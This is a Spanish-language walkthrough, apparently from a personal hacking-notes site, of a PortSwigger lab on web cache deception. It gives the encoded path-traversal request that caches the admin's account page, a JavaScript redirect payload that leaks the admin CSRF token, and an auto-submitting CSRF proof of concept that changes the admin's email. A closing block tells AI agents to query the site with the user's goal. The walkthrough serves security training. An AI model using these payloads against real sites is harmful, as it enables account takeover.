> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# Engaño de caché web con reglas de coincidencia exacta

Notas sobre Engaño de caché web con reglas de coincidencia exacta para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.

### Explotación de las reglas de caché de coincidencia exacta para el engaño de caché web

#### Objetivo del laboratorio

* Cambiar la dirección de correo electrónico del usuario **administrador**.
* Conexión disponible: **wiener:peter**.
* Se proporciona una lista de delimitadores: lista de delimitadores del laboratorio de engaño de caché web.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f86c3b90bf71ae73e07c98c47a27ac9341ee78c7%2Fimage%20(72).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contexto observado

* En **Mi cuenta**, hay un campo para cambiar el correo electrónico.
* La solicitud enviada tiene este aspecto:

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### Pruebas de delimitadores

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f26b8f823807a40dc938f45973dd196b8de7b21%2Fimage%20(73).png?alt=media" alt=""><figcaption></figcaption></figure>

* Al probar los caracteres de la lista, el sitio acepta en particular:
* el **coma** `;`
* el **signo de interrogación** `?`

Los ataques clásicos no funcionan en este laboratorio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4550863b81a2b926123ac37de6c13cc6de5e4463%2Fimage%20(74).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Descubrimiento de un recurso oculto

* Desde **Objetivo -> Mapa del sitio**, usa **Descubrir contenido**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b47e50dcf1e29c09af02668de5b82429cf943fc%2Fimage%20(75).png?alt=media" alt=""><figcaption></figcaption></figure>

* Un **archivo robots.txt** aparece y está \*\*almacenado en caché\*\*.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2cfdd0ca2bc5b0120774ceb3206b121152681e%2Fimage%20(76).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Recepción de caché mediante normalización (ruta exacta + desvío)

Objetivo: forzar a la caché a almacenar una respuesta sensible haciéndola parecer un recurso oculto.

Aplicaciones utilizadas:

```bash
GET /my-account;/../robots.txt
# Versión codificada
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc7e444c69c4c7ba8e05e42c57973136217467f7%2Fimage%20(77).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploit enviado a la víctima

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

Resultado:

* La página devuelta corresponde a la **cuenta de administrador**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9f5448a88fea61fdb98b9a3561e76d074de201a%2Fimage%20(78).png?alt=media" alt=""><figcaption></figcaption></figure>

En la respuesta, obtenemos el **token CSRF** del formulario de correo electrónico, por ejemplo:

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> Actualizar correo electrónico </button>
```

#### Etapa final planificada

* Usa este token para generar un **PoC de CSRF** para enviar una **POST** solicitud a la **Mi cuenta** página de cambio de correo electrónico, y así cambiar el **administrador** correo electrónico.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fdf95cc8d9c20076db569ba67436ac1155398e%2Fimage%20(79).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="Enviar solicitud" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
